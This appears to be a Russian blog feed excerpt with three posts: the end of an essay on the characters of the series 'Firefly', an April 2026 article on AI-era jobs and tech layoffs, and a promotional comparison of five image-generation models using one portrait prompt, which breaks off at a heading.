Если копнуть глубже, то характер Мэла намного тверже, чем у Хана Соло и подобных персонажей, а поступки — серьезнее. Он рыцарски уважает женщин. Возможно, именно это качество не дает ему выразить прямо чувства к Инаре и оно же почти защитило его от Сафран. Упс, спойлеры!

Но главное — он капитан и от его решений зависит жизнь команды. Порой ради выживания он легко соглашается на сомнительные перспективы, и команда это одобряет. Или не осуждает.

Потому что капитан имеет сильнейшее влияние на всех вокруг.

Как формируются сверхмассивные объекты в мире «Светлячка»

Просто так даже черные дыры не родятся. Это применимо и к персонажам «Светлячка». Критическую массу Малкольм и остальные наращивали через предысторию и окружающий мир.

В первую очередь — через битву Независимых и Альянса за долину Серенити. Для Мэла и его сослуживицы Зои война закончилась печально: их взвод разбили, Альянс восторжествовал, а все Независимые остались «не на той стороне истории», как это часто озвучивают в сериале. Много крови, жестокости и утрат не могли не повлиять на Мэла и Зои.

— Мы все умрем.
— Нет, не умрем. Мы не можем умереть. Знаешь, почему? Потому что мы обалденно красивые. Мы такие лапули, что Господь не допустит нашей смерти. А?! Вы только посмотрите на этот волевой подбородок!

Цитата выше из первой серии: одна из первых сцен, которая знакомит нас с капитаном. Видны основы характера Мэла: живучесть, саркастичность и решимость. Он готов идти до конца, даже когда понимает, что проиграл. В этом и суть капитана, и суть произведения напоминают рыцарский роман — сила, воля к победе, стремление к справедливости. Ну, насколько возможно в мрачном мире «Светлячка».

Мэл пытается приободрить сослуживца в первой серии

И конечно, кроме внутренних факторов для персонажей есть внешние: мир сериала «Светлячок» с благополучным центром и загибающимися окраинами, бесцветно-холодный Альянс в противовес более ярким и цветастым Независимым, падальщики, контрабандисты, бесконечный недружелюбный космос и злобные Пожиратели где-то там притаились. Иными словами, помощи ждать неоткуда. Значит, поможешь только сам себе. В идеале — найдя тех, кто разделит твои взгляды и подаст руку в трудный момент. Ну или хотя бы не попытается отдавить каблуком ладонь.

«Юмор висельников» и дурашливость как ДНК сериала

В сериале юмор строится по привычным схемам:

Контраст сцен: сразу после жуткого уничтожения отряда Мэла мы видим, как капитан, Зои и Джейн грабят корабль. А в это время Уош играет с резиновыми динозавриками.
Контраст тем: если речь о смерти, ужасах, разрушении — кто-то из команды едко прокомментирует.
Классика юмора: переодевание мужчины в женщину.

Юмор висельников же говорит о решимости персонажей и о том, что они, как никто другой, ценят жизни близких. А вот неблизким лучше не играть в плохишей и не угрожать друзьям.

То есть самые привычные и стандартные приемы юмора. Никакого абсурда, никакой игры с ожиданиями, уже где-то к середине сериала по динамике чувствуешь — сейчас будет шутка. И персонажи шутят!

И этот вид предсказуемости приносит огромное удовольствие. Как захотеть чихнуть — и чихнуть!

Как сверхмассивные объекты влияют друг на друга

Итак, мы имеем целую вереницу ярких персонажей со взаимным влиянием. Конечно, наиболее на всех влияет Мэл. Настолько сильно, что добряков толкает на сомнительные авантюры, а недобряков (назвать Джейна злым — сильно ошибиться) — делает порядочнее и принципиальнее. Под влияние попадают даже люди из Альянса: в третьей серии Мэл спасает одного офицера от жертвы пожирателей. Тот, конечно, забирает контрабанду, но команду не трогает.

Зои и Уош

Зои — боевая подруга, надежная, сильная для Мэла и заботливая, нежная для мужа. Собрала все положительные черты, которые можно придумать. Без шуток — это один из самых сильных и в то же время чутких женских персонажей. Безоговорочно верит Мэлу и продолжает его философию.

— Можно я заберу вашу долю?
— Нет.
— А если вы умрете?

И в этом вся суть дуэта: вместе были на волосок от смерти в бою против Альянса, теперь иначе относятся к жизни — с юмором висельников. Что и становится той самой ДНК сериала — такие приземленные шутки подчеркивают характеры и потребности персонажей.

Уош, капитан и Зои

Вот для пилота Уоша главное, например, чтобы жена — Зои — была цела. И если она верит Мэлу, то и Уош верит. Но ревнует. Опять убийственная миссия? Ну, капитан знает, что делает… И чувство юмора пилота вторит капитану и Зои.

Кейли

Человеческое воплощение Гаечки. Очень добрая, немного наивная, луч солнца в темном царстве. Оттого и странно, что она оправдывает действия капитана.

Воровство? Она в деле! Кэп убил парочку парней? Ну, они были не очень хорошими и вообще угрожали команде.

Кэп оскорбил и назвал коровой? Ну, обидно, но переживем.

Тем более Кейли в итоге получила столь желанное платье и даже попала на бал

При всем этом Кейли влияет на персонажей. Да, она хрупкий и нежный цветочек, который все стремятся защитить, но лишь Кейли способна во всех пробудить такое желание. Даже холодного Саймона она делает более человечным: только Кейли он озвучивает свои чувства.

Джейн

Идеальный наемник. Интересуется только деньгами, так его когда-то перекупил Мэл — просто предложил больше. Но постепенно капитан влияет и на него: Джейн не поддается на соблазн крупных сумм, а начинает верить в Мэла.

Порой Джейн даже бывает милым

В ситуации со странными пассажирами — Саймоном и Ривер — Джейн просто говорит «у капитана есть план». Да, наемник считает, что Мэл когда-то их сдаст и всё делает ради наживы, — но верит в него!

Инара

Ее мир — особенный. Она «компаньонка», тут отношения регулируются исключительно деньгами. Может, поэтому странное представление Мэла о справедливости и притягивает ее. И именно Мэл показывает ей, что не все продается и что она — не товар для толстосумов, а прекрасная девушка.

И как тут Мэлу не оказать на нее влияние?

И как ей не производить впечатление на остальных?

Она умна, красива, обеспеченна, сама решает, как и с кем жить. И между богатым воздыхателем и бедным, но острым на язык и справедливым Мэлом она выберет последнего. Хотя и вопреки здравому смыслу.

— У вас странное чувство справедливости, капитан. Вы ударили человека за то, что я компаньонка, но сами называете меня так.
— Я не уважаю твою работу, а он не уважает тебя. В этом разница.

Пастор Бук

Самый таинственный персонаж сериала представляется пастором.

Он ходит в рясе, готов проповедовать и наставлять на путь истинный, но уже с первой серии поддается влиянию Мэла: не осуждает, что тот убил человека.

Когда пастора Бука серьезно ранят, Мэл говорит ему:

— Лежи и иронизируй.

И в этих словах весь характер пастора: немногословность, огромная сила и очень саркастичное отношение к жзни. Возможно, в сценарии было «лежи и агонизируй» — но такое не про пастора.

Саймон и Ривер

Брат и сестра из очень обеспеченной семьи, чьи судьбы почти разрушил Альянс. Ривер — одаренная девочка, ее забрали якобы для обучения. На самом деле ставили жуткие эксперименты, что сломало психику девушки. Она подавала через письма сигналы Саймону, тот считал и, рискуя всем (и отвалив солидную сумму), спас сестру.

Но её исцеление требует усилий

Они слишком умные, интеллигентные и воспитанные для такой команды — особенно Саймон с его статью и врачебным образованием. Но даже они постепенно поддаются влиянию кэпа и остальных. Саймон становится сильнее, эмоциональнее, учится выражать эти эмоции, а Ривер… Ривер не любит капитана, боится, избегает и видит в нем что-то скрытое от других.

— Эта девчонка — ведьма!
— Да, но она НАША ведьма

Постепенно Мэл к ней привыкает и даже готов рисковать командой, чтобы спасти девчонку. А Ривер, в свою очередь, тоже порой помогает.

Деление мира на своих и чужих как важный элемент «Светлячка»

Мир сериала ставит персонажей в конкретное положение: или с кем-то, или против кого-то, в одиночку закончишь разве что с разрезанным кончиком языка и неуемным желанием сеять мрак.

Поэтому команда, как только встречает кого-то «своего», защищает до конца, даже Джейн. Отличный пример — пятая серия, где Саймона и Ривер похищают жители одной деревеньки. Кэп сам их бросает и улетает, когда пастору необходим врач. Но в конце серии возвращается вместе со всеми и спасает брата с сестрой.

— Капитан, почему вы вернулись?
— Ты в моем экипаже.
— Но я вам даже не нравлюсь
— Ты — в моем экипаже. Тут и говорить не о чем.

Команда за обедом

Получается, у экипажа «Светлячка» правила предельно простые, Есть мы, есть они. Мы — свои, они — чужие, своих надо держаться. Но только ли из благородных побуждений? Иногда кажется, что капитаном руководит расчет: Саймон нужен как врач, с полезными связями Инары проще приземляться на разных планетах, у пастора Бука вовсе скрытые таланты — и тоже некислый нетворкинг. Однако каждый раз корыстные мотивы разбиваются о благородство капитана, готового пожертвовать жизнью ради спасения любого из команды.

А всё потому, что со мной люди, которые заботятся друг о друге, доверяют друг другу и не во всем ищут выгоду.

Приятная предсказуемость

Характерна сериалу. Всё в рамках шаблонов и стереотипов, и это хорошо: сколько можно несчастные ломать и шатать? Рабочий же способ погрузиться во вселенную, где всё логично, последовательно и предсказуемо; где за «А» следует «Б», а если яблоко подкинуть — оно упадет.

Еще персонажи верят в добро, справедливость, сражаются друг за друга и всячески помогают, готовы жертвовать и идти до конца. Что же у нас тут: рыцарский роман — космический вестерн?

Ну да. Так и получается, что все перипетии — и в мире сериала, и в нашем — Малкольм Рейнольдс проходит с командой преданных друзей. И может победить хоть боссов FOX, хоть кого-то еще.

Нет, ИИ вас не заменит. Вас заменит человек, работающий с ним

Sat, 18 Apr 2026 08:00:19 +0000

Когда речь заходит об искусственном интеллекте и рынке труда, одни боятся потери работы, другие надеются на избавление от рутины. На самом деле, и то, и другое — крайности. Вайбкодеры есть, но они не заменили и не заменят полностью разработчиков, понимающих код. Нейрослоп, особенно в соцсетях, занял целую нишу короткого развлекательного контента, но так и не вытеснил из интернета контент от людей и для людей.

Вместе с тем, за последние несколько лет вокруг ИИ сформировался слой новых профессий — от инженеров, работающих с LLM, до специалистов, проектирующих взаимодействие человека с алгоритмами. И тут начинается что-то странное. С одной стороны, компании инвестируют миллиарды в ИИ и активно нанимают специалистов нового типа. С другой — все читают новости о сокращениях целых команд, уменьшении числа стартовых позиций и повышении планки входа. В результате работы меньше не становится, но найти ее сложнее, а ценность отдельных навыков резко возрастает.

Новая инфраструктура

Пожалуй, самое заметное изменение — формирование целого слоя профессий, которых раньше вообще не было. Причем речь идет не только о «технарях», а о гибридных ролях на стыке инженерии, дизайна и гуманитарных дисциплин. В центре этой экосистемы находятся роли, без которых ИИ-продукты просто не работают: LLM/AI Engineer, MLOps-инженер, AI Infrastructure/Inference Engineer и другие. Далее их условно обозначим как AI-инженеров.

Источник.

Роли и задачи

LLM/AI Engineer — это уже не классический ML-специалист, который обучает модели с нуля. Его задача — собрать рабочую систему из готовых компонентов: API моделей, RAG, инструментов и пайплайнов. Фактически, это инженер по «сборке интеллекта».

Если классический MLOps-инженер раньше занимался деплоем моделей, то в новой версии это человек, который оптимизирует стоимость инференса, управляет latency и строит устойчивые пайплайны под нестабильные модели.

Отдельно выделяется AI Infrastructure Engineer — одна из самых дорогих и дефицитных ролей. Это специалисты, которые работают на уровне GPU, распределенных вычислений и оптимизации моделей (квантование, батчинг, кеширование). Они напрямую влияют на экономику продукта.

AI Product Manager управляет вероятностной системой. Ему приходится балансировать между качеством ответа модели, стоимостью запросов и пользовательским опытом. Другими словами, если вам не нравится качество и скорость ответа бесплатной LLM, но все устраивает в ее платной версии (кроме, может, цены подписки), то «здесь точно был AI Product Manager».

AI Interaction Designer — по сути, UX-дизайнер нового поколения. Он проектирует поведение системы: как формулируются ответы, как система задает вопросы и как она ошибается. Это уже ближе к сценарию диалога, чем к классическому UI.

Prompt Engineer — самая хайповая и одновременно самая быстро эволюционирующая роль. Изначально это был почти «копирайтер для модели», но сейчас роль распадается на две ветки:

простая — уходит в инструменты и автоматизацию;
сложная — встраивается в инженерные роли как часть пайплайна.

В чистом виде это не совсем профессия, а скорее набор навыков, которые становятся базовыми для многих других ролей.

Новые GPU в облаке Selectel от 196,09 ₽/час

Видеокарты для ресурсоемких задач — NVIDIA® H100, H200, RTX™ 6000 Pro.

Подробнее →

Следующий на очереди — AI Trainer / Human-in-the-loop специалист. Это человек, который размечает данные, корректирует ответы модели и формирует «поведение» системы. Это массовая, масштабируемая и часто низкооплачиваемая работа, которая лежит в основе «интеллекта» моделей. Фактически это скрытый человеческий слой под ИИ.

Параллельно появляется более сложная роль — Synthetic Data Engineer. Он уже не размечает данные, а создает их: генерирует обучающие выборки, симулирует редкие сценарии и улучшает качество моделей без реальных данных.

AI Auditor / AI Risk Specialist — проверяет наличие bias (предвзятости), юридические риски и соответствие регуляциям. Особенно активно эти роли растут в Европе, где регулирование ИИ становится жестче. Раньше продукты тестировали на баги, теперь — на этические и социальные последствия. Когда бюджет компании ограничен, от этой роли часто отказываются, поручая обязанности низкооплачиваемым AI-тренерам.

Источник.

Что происходит с наймом

Главным изменением на рынке труда в эпоху ИИ стало не сокращение количества вакансий как таковых, а изменение их структуры. Компании нанимают. Иногда даже активнее, чем раньше, но делают это иначе, осторожнее, точечнее и с куда более жесткими требованиями. Подход «наймем и обучим по ходу дела» для многих стал непозволительной роскошью.

Самый заметный и болезненный эффект — это исчезновение классической точки входа в профессию. Задачи, которые раньше выполняли джуны, сегодня все чаще автоматизируются. Написание типового кода, базовый анализ данных, подготовка отчетов, первичная обработка информации — все эти функции хорошо ложатся на современные языковые модели и внутренние AI-инструменты компаний.

Гигантские корпорации, о некоторых из которых мы еще поговорим ниже, все реже видят смысл в том, чтобы нанимать людей «на вырост». Проще и дешевле взять специалиста, который уже умеет работать в связке с ИИ и сразу приносит результат.

Источник.

Согласно ряду исследований, до 66% мировых компаний сокращают найм специалистов, которых потребуется обучать, и около 90% работодателей отмечают трансформацию или исчезновение базовых ролей.

Источник.

Эффект середины

Еще один важный эффект — поляризация рынка. Верхний сегмент, связанный с разработкой, инфраструктурой и управлением AI-продуктами, продолжает расти: здесь высокий спрос, дефицит специалистов и рост зарплат.

Нижний сегмент, завязанный на рутинные и операционные задачи, напротив, испытывает давление из-за автоматизации. Но наиболее интересная зона — середина. Именно миддл-специалисты оказываются в ситуации неопределенности: их задачи частично автоматизируются, а частично усложняются до уровня, требующего уже более высокой квалификации. Вам тоже это напоминает ситуацию в духе «Ищем сеньора на зарплату миддла»?

Новая логика найма

Итак, попасть на работу в IT в 2026 все еще можно. Просто найм все чаще происходит под конкретные задачи. Исследования показывают, что наличие AI-навыков дает преимущество при отборе и ощутимую прибавку к зарплате (в среднем до 15%). Исчезает пространство, в котором можно было расти постепенно, допуская ошибки и набираясь опыта на простых задачах. Требования повышаются не только к знаниям, но и к скорости адаптации. И именно это создает кризис.

Увольнения

Если смотреть на сухие данные, то сокращения в tech-секторе — это системное явление. В 2025 году глобально было сокращено около 246 000 сотрудников в технологическом секторе. Из них порядка 55 000 увольнений так или иначе связаны с ИИ. При этом с 2023 года ИИ уже упоминался более чем в 70 000–90 000 кейсах увольнений. Очевидно, самые громкие кейсы и самые масштабные сокращения обычно происходят в компаниях из США, занимающих существенную часть IT-сектора.

Источник.

В 2026 динамика сохраняется: 40 000 сокращений за первые месяцы. Отдельный показатель — интенсивность увольнений. В 2025 году увольняли 674 человека в день, в 2026 — уже 926.

Цифры по сокращениям

Atlassian — около 1 600 сотрудников (примерно 10%).
Amazon — до 16 000.
Block — около 4 000 (до 40%).
Salesforce — около 4 000 сотрудников в поддержке.

При этом важно, что даже в случаях, где ИИ явно присутствует, компании редко формулируют это как «замену людей». Обычно речь идет о «реструктуризации», «повышении эффективности», «перераспределении ресурсов в AI».

Источник.

Доля ИИ

С одной стороны, десятки тысяч увольнений уже связаны с ИИ и доля таких кейсов растет. С другой, это все еще меньшинство от общего числа сокращений. Например, лишь около 7% увольнений в США в начале 2026 связаны с ИИ. CFO компаний ожидают снижение штата всего на ~0,4% в 2026.

Массовые увольнения действительно идут. ИИ участвует в них, но редко как единственная причина. Чаще он выступает как катализатор решений. Компании сокращают избыточные команды, автоматизируют отдельные функции и инвестируют в искусственный интеллект. И в итоге получают возможность работать с меньшим числом людей.

Если раньше сокращения были циклическими, то теперь они становятся структурными. Это видно по двум признакам. Во-первых, увольнения происходят даже при росте выручки компаний. Во-вторых, высвобожденные ресурсы направляются не на найм, а на автоматизацию.

Заключение

Если собрать все вышесказанное вместе, возникает, на первый взгляд, противоречивая картина. Рынок труда не падает. Он растет, усложняется, дорожает, но при этом становится менее доступным.

В этом и заключается главный парадокс эпохи ИИ — возможностей становится больше, но воспользоваться ими может меньшее число людей. То есть спрос на кадры становится более избирательным. Ценятся специалисты, знающие ограничения моделей, способные интегрировать их в процессы и брать на себя более сложные задачи. Это смещает баланс в сторону узких компетенций. Возникает ситуация, в которой одни специалисты становятся значительно дороже, а другие теряют позиции, даже оставаясь в той же профессии.

В долгосрочной перспективе кризис занятости будет длиться до окончания периода адаптации. Работа меняется так быстро, что люди и образовательные системы не успевают подстроиться. Старые карьерные треки перестают приносить результаты, а новые еще не до конца сформированы. Именно поэтому рынок выглядит нестабильным. Он уже живет по новым правилам, но большинство участников все еще ориентируется на старые.

Нейросеть для фото ИИ и изображений: ТОП-5 нейросетей для генерации фото и фотосессии бесплатно

Sat, 18 Apr 2026 07:56:33 +0000

Нейросеть для фото ИИ и изображений: ТОП-5 нейросетей для генерации фото и фотосессии бесплатно

Эпоха, когда для создания качественного контента требовались студия, дорогое оборудование и часы ретуши, официально подошла к концу.

Сегодня нейросеть для генерации изображений способна заменить полноценный продакшн: от создания реалистичных портретов до «проведения» виртуальных фотосессий в любых декорациях. ИИ-инструменты стали настолько совершенными, что отличить генерацию от реального снимка практически невозможно.

Разберем ТОП-5 нейросетей, которые позволяют создавать изображения, и подскажем, как использовать их для ваших личных и бизнес-задач.

Нейросеть для фото ИИ и изображений: ТОП-5 нейросетей для генерации фото и фотосессии бесплатно

Один промпт и 5 нейросетей для генерации изображений

Можно бесконечно изучать спецификации моделей, но в мире генеративного искусства решает только финальный пиксель. Чтобы выяснить, какая нейросеть лучше всего справляется с кожей, светом и сложными текстурами, мы решили провести краш-тест.

Логика простая — одинаковый промт, одинаковая цель, одинаковые ожидания. Мы сравниваем сервисы генерации по одному описанию, чтобы понять, как они ведут себя в реальной задаче: когда нужно сделать не просто красиво, а правдоподобно, атмосферно и с хорошим попаданием в детали.

Почему мы выбрали именно этот промпт?

Для нашего эксперимента мы составили сложный, «многослойный» запрос про исландского смотрителя маяка. Вот почему он считается эталонным для проверки ИИ:

Понятный герой: Здесь не просто “старик у моря”, а старый смотритель маяка из Исландии. У персонажа есть визуальная и биографическая логика. Это помогает модели не генерировать случайное лицо, а собрать образ с характером.

Проверка на текстуры: Промт задает не только возраст и выражение лица, но и текстуру кожи, щетину, влажные волосы, шерстяной свитер, вощеный плащ, латунный бинокль с патиной. Именно на таких деталях видно, насколько сильна генерация изображений по описанию: хорошая модель не замыливает предметы, а удерживает материальность.

Работа с освещением: «Синий час» и мягкий свет маяка — сложнейшее сочетание холодного естественного и теплого искусственного света. Мы проверяем, как ИИ выстраивает тени и блики.

Анатомия и эмоции: Взгляд «прямо в объектив» и руки, держащие бинокль, — классические «болевые точки» нейросетей. Мы смотрим, сохранит ли модель человечность взгляда и правильную анатомию пальцев.

Фотографическая точность: Указание конкретной камеры Fujifilm GFX100s и ISO 3200 — это требование выдать не просто картинку, а имитацию работы реальной матрицы с характерным зерном и глубиной резкости.

Наш промпт:

Ультрадетализированный, глубокий фотопортрет пожилого мужчины, живущего в Исландии, снятый на открытом воздухе во время «синего часа» (сразу после заката). Мужчина — старый смотритель маяка. У него худощавое, обветренное лицо, покрытое сетью глубоких морщин, шрамами от морского ветра и естественной щетиной с проседью. Глаза необычного, яркого льдисто-голубого цвета, смотрят прямо в объектив с мудрым, спокойным и немного усталым выражением. Волосы густые, полностью седые, взъерошены ветром и слегка влажные.
В руках он держит старинный, потертый морской бинокль в латунном корпусе с патиной, поднеся его к груди. Крупный план по плечи. На нем тяжелый, фактурный свитер ручной вязки из грубой шерсти лопи (традиционный исландский узор lopapeysa) в темно-серых и синих тонах, поверх которого надет старый, выцветший вощеный брезентовый плащ оливкового цвета. Капли моросящего дождя видны на воротнике плаща и на его волосах.
Композиция центральная, мужчина занимает большую часть кадра. Фон сильно размыт (эффект боке): видны неясные очертания скалистого побережья, бушующего темного океана и красной верхушки маяка вдалеке, свет которой только что включился и мягко светится в сумерках. Освещение естественное, рассеянное, холодное вечернее, с мягким контровым светом от неба. Гиперреализм, максимальная текстура кожи и шерсти, кинематографичное зерно пленочной фотографии 35мм, стиль Magnum Photos. Снято на Fujifilm GFX100s, объектив 63mm f/2.8, выдержка 1/160, ISO 3200 (для зернистости). Глубокие цвета, естественные поры кожи, без студийного света, без ретуши, без пластиковости.

Топ 5 нейросетей для генерации изображений

Для нашего эксперимента мы выбрали пять самых обсуждаемых и мощных моделей на текущий момент. Каждая из них имеет свою репутацию, свои сильные и слабые стороны.

1. GPT Image 1.5

Нейросеть GPT Image, которая хорошо понимает длинные и сложные описания. Если в промте много деталей — возраст, одежда, свет, настроение, фон — она старается ничего не потерять. Подходит тем, кому нужен точный результат без долгих доработок.

2. Nano Banana 2

Nano Banana - удобная и быстрая нейросеть, которая хорошо собирает цельную сцену. Она не всегда делает самый эффектный кадр, но часто выдает крепкий результат уже с первой попытки. Хороший вариант, если хочется быстро получить красивое изображение без лишней возни.

3. Grok Imagine Image Pro

Сервис Grok AI для тех, кто любит более выразительные и характерные картинки. Эта нейросеть может дать сильное настроение, интересный свет и “живой” кадр, но иногда работает чуть менее предсказуемо. Подходит для экспериментов и необычных визуалов.

4. Kling Image 3.0

Нейросеть Kling, которая хорошо справляется с деталями, фактурами и общей плотностью картинки. Особенно заметно это на одежде, предметах, фоне и освещении. Подойдет тем, кто хочет получить насыщенное, проработанное изображение с хорошей визуальной глубиной.

5. Midjourney V7

Midjourney: Одна из самых популярных нейросетей для красивых и атмосферных изображений. Ее сильная сторона — стиль, композиция и общее ощущение “дорогой” картинки. Отлично подходит, если нужен эффектный визуал, который сразу цепляет взгляд.

GPT Image 1.5 — когда важна точность, а не просто вау-эффект

GPT Image 1.5 — это тот сервис, который чаще всего старается понять вас буквально. Не “вдохновиться темой”, а реально собрать кадр из описания. Для сложных портретных промтов это огромное преимущество.

В нашем тесте сильная сторона этой модели — дисциплина. Она хорошо держит возраст персонажа, не молодит лицо без причины, неплохо понимает, что значит “обветренная кожа”, “старый морской бинокль”, “синий час”. Именно такие вещи часто теряются у более креативных генераторов.

Что особенно приятно — лицо обычно получается не глянцевым. Нет ощущения, что перед вами фотостоковая модель, на которую просто наложили морщины. Если промт сформулирован качественно, GPT Image 1.5 выдает кадр с живой фактурой и без лишней пластиковости. Это сильный плюс для тех, кому нужна нейросеть для генерации изображений по тексту именно в фотореалистичном сегменте.

По атмосфере модель тоже держится уверенно. Она понимает холодный свет, пасмурность, приглушенную палитру, сырость в воздухе.

Но есть и нюанс. Иногда эта модель может быть слишком послушной и чуть менее дерзкой по визуальной драме, чем Midjourney. То есть картинка правильная, точная, убедительная — но не всегда самая “эффектная” с первого взгляда.

Кому подойдет GPT Image 1.5:

тем, кому важна точность промта;
тем, кто делает реалистичные портреты;
тем, кто хочет меньше случайностей;
тем, кто ценит управляемый результат;
тем, кто использует ИИ для генерации изображений в рабочих задачах, а не только ради эксперимента.

Nano Banana 2 — очень быстрый, умный и удивительно практичный

У Nano Banana 2 хорошо ощущается понимание общей сцены. Он довольно уверенно собирает связный образ: пожилой мужчина, северный климат, вечерний холодный свет, документальная подача. Не всегда идеально, но логика кадра у него крепкая. Особенно заметно это в атмосфере: модель неплохо улавливает “суровую северную жизнь”, а не просто делает симпатичного старика на фоне моря.

Google описывает Nano Banana 2 как модель с продвинутым характеристиками, а также с очень быстрой генерацией. Это довольно точно передает реальное впечатление: сервис быстрый, шустрый, и при этом не выглядит игрушечным.

Для пользовательского опыта это один из самых удобных вариантов. Когда нужна генерация изображений онлайн бесплатно или хотя бы быстрый цикл проб и уточнений, скорость имеет значение. Иногда важнее получить 4 варианта за короткое время и выбрать лучший, чем ждать один идеальный результат.

По качеству лица Nano Banana 2 в сложных промтах может чуть уступать GPT Image 1.5 в микродетали кожи и естественности глаз. Но при этом он часто дает очень цельную сцену. Не лучшую в каждой отдельной категории, а просто цельную. И это сильное качество.

Где он особенно хорош:

быстрые итерации;
атмосферные портреты;
понятный интерфейс;
хорошее попадание в сюжет;
удобный вариант, если нужна бесплатная нейросеть для генерации изображений онлайн и хочется меньше возни с настройками.

Grok Imagine Image Pro — когда нужна выразительность и ощущение смелого ИИ

Grok в визуальных задачах ощущается как сервис с характером. Он не всегда самый аккуратный, зато нередко выдает картинку с настроением. В портретных задачах это может сыграть как в плюс, так и в минус.

В нашем тесте Grok лучше всего проявляет себя там, где важна энергия кадра. Он чаще старается сделать изображение “с настроением”, добавить контраст, выразительность, драму, иногда даже чуть больше, чем просили. Это может дать цепляющий результат, особенно если вы делаете контент для соцсетей, обложки, визуалы с яркой подачей.

xAI подтверждает, что в их экосистеме доступны text-to-image generation, image editing и многошаговое уточнение изображения через диалог. На практике это удобно: если первый кадр получился неидеальным, можно быстро дожать его уточнениями, а не переписывать весь запрос с нуля.

Но в реалистичном фото у Grok иногда возникает типичная проблема: он может слегка переигрывать драму. Где-то взгляд становится слишком постановочным, где-то кожа выглядит чуть более “сгенерированной”, чем хотелось бы, где-то свет начинает работать уже не как документальная фотография, а как художественный постер. Для одних задач это плюс. Для других — минус.

То есть Grok нельзя назвать слабым. Скорее он менее предсказуем. Если вам нужна строгая нейросеть для генерации изображений по описанию без сюрпризов, GPT Image 1.5 и Nano Banana 2 обычно спокойнее. Если хочется более яркого характера и вы готовы сделать 2–3 перегенерации, Grok вполне может приятно удивить.

Кому стоит смотреть в его сторону:

тем, кто любит выразительный визуал;
тем, кто не боится экспериментировать;
тем, кому важен диалоговый сценарий доработки;
тем, кто ищет нейросеть для генерации изображений AI с более смелой подачей.

Kling Image 3.0 — сильный инструмент, если вам важны контроль и плотность картинки

В пользовательском опыте Kling Image 3.0 ощущается как сервис, который любит плотную, насыщенную, собранную картинку. Он хорошо держит предметность, довольно уверенно работает с одеждой, материалами и атмосферой кадра. В нашем тесте это особенно заметно на свитере, плаще, влажных деталях и общей телесности изображения.

Есть ощущение, что Kling любит картинку “чуть сильнее жизни”. То есть реализм там есть, но иногда он подается с киношным напором. Не обязательно плохо — просто это не всегда максимально нейтральное фото. Если вам нужен контент, который должен выглядеть дорого и эффектно, это может быть большим плюсом.

Kling удобен еще и тем, что у него сильная логика последующей доработки. Когда нужно не просто сгенерировать один кадр, а потом аккуратно изменить фон, выражение, свет или отдельные детали, он ведет себя уверенно. Для тех, кто использует нейросеть для генерации изображений по фото или комбинирует текст с референсами, это особенно ценно.

Где Kling хорош:

предметная плотность кадра;
богатые фактуры;
сильная одежда и материалы;
удобство доработки;
работа с референсами и сериями.

Где надо быть внимательнее:

иногда картинка выглядит чуть “слишком кинематографично”;
порой результат кажется более постановочным, чем документальным;
при сложном фотореализме лицо нужно проверять особенно внимательно.

Midjourney V7 — по красоте и атмосфере все еще один из самых сильных

Midjourney давно стал почти синонимом красивой AI-картинки. И V7 подтверждает, почему. Официально модель описывается как более умная версия с лучшим пониманием промта, более качественными текстурами и лучшеve соответствию деталям.

Если говорить простыми словами, Midjourney V7 очень часто делает самую красивую картинку из пяти. Причем “красивую” не в смысле глянца, а в смысле визуальной силы. Он умеет собирать атмосферу, глубину цвета, выразительный фон, благородную драму.

Но есть важное “но”. Midjourney не всегда лучший именно в послушности. Он может чуть увести образ в более художественную сторону. Иногда делает лицо слишком благородным, иногда слегка романтизирует старость, иногда делает кадр не документальным, а “как кадр из очень красивого фильма”. Для статьи, афиши, обложки или визуала для соцсетей это прекрасно. Для задачи “сделай максимально правдоподобное фото” — уже вопрос.

Зато по эмоции и цельности кадра это почти всегда сильный игрок. Если человек ищет нейросети для генерации изображений Midjourney именно ради эстетики, он обычно получает то, за чем пришел.

Когда Midjourney V7 особенно хорош:

атмосферные портреты;
арт-дирекшн;
сильные обложки;
визуалы для брендов;
кадры, где важен “вау” с первого взгляда.

Когда он может уступить:

если критично точное следование каждому слову промта;
если нужна максимально нейтральная документальность;
если важна полная предсказуемость результата.

Как выбрать нейросеть для генерации изображений под свою задачу

Самая частая ошибка — искать одну “лучшую” нейросеть для генерации готовых изображений на все случаи жизни. На практике выбор зависит от задачи.

Если вам нужен реалистичный человек

Смотрите в сторону сервисов, которые хорошо держат лицо, кожу, возраст и текстуру. Здесь обычно выигрывают модели с сильным пониманием промта и аккуратной работой с фотореализмом.

Если вы делаете креатив для рекламы или соцсетей

Здесь часто важнее не абсолютная реалистичность, а эффект. Поэтому сервис с более смелой визуальной подачей может дать лучший результат, чем “самый правильный”.

Если вы делаете много попыток подряд

Важны скорость, удобство, понятный интерфейс, нормальная логика перегенерации. Иногда более быстрый сервис полезнее, чем “чемпион по качеству”, если вам нужно много вариантов.

Если вы работаете с референсами

Тогда важен не только text-to-image, но и image-to-image, точечное редактирование, сохранение признаков объекта, работа сериями. Тут особенно важны инструменты контроля.

Если вам нужна нейросеть для генерации изображений бесплатно без регистрации

Тут нужно смотреть не только на маркетинговые обещания, но и на реальные ограничения:

сколько генераций доступно;
есть ли водяные знаки;
режется ли качество;
нужен ли вход через аккаунт;
сколько итераций можно делать бесплатно.

Пользователю часто нужна не “идеальная бесплатность”, а рабочая связка: быстро протестировать идею, понять стиль сервиса, а уже потом решать, подходит ли он под постоянную задачу.

Что можно дополнительно найти на платформе RANVIK?

Генерация изображений AI — сервис позволяет создавать новые иллюстрации по текстовому описанию, улучшать качество фотографий, редактировать отдельные детали и быстро убирать фон.

Нейросети для текста — платформа подходит для написания оригинальных материалов, редактирования, перевода, поиска идей и подготовки сценариев для самых разных целей.

Нейросети для видео — пользователи могут генерировать видеоролики по описанию, менять отдельные элементы, добавлять надписи, анимационные эффекты и другие визуальные детали.

Бесплатный Ranvik AI — универсальная среда, объединяющая инструменты для создания и обработки текстов, изображений, аудио и видео в одном месте.

Аудиоинструменты на базе нейросетей — сервис помогает озвучивать текст, создавать мелодии и генерировать музыкальные треки с настройкой нужного звучания.

Анимация неподвижных изображений — функция превращает обычные фотографии в динамичные видеосцены с плавным и естественным движением.

Преобразование текста в голос — инструмент создаёт реалистичную озвучку из текста с выбором тембра, настроения, интонации и подачи.

Генерация музыки — платформа позволяет создавать композиции по заданным параметрам, включая жанр, стиль, атмосферу и особенности звучания.

Готовые промпты для изображений — пользователям предлагаются шаблоны запросов, которые помогают получать более точные, качественные и детализированные визуальные результаты.

Промпты для видео — готовые формулировки упрощают создание выразительных и хорошо проработанных роликов с использованием AI.

Как сделать изображение: пошаговая инструкция

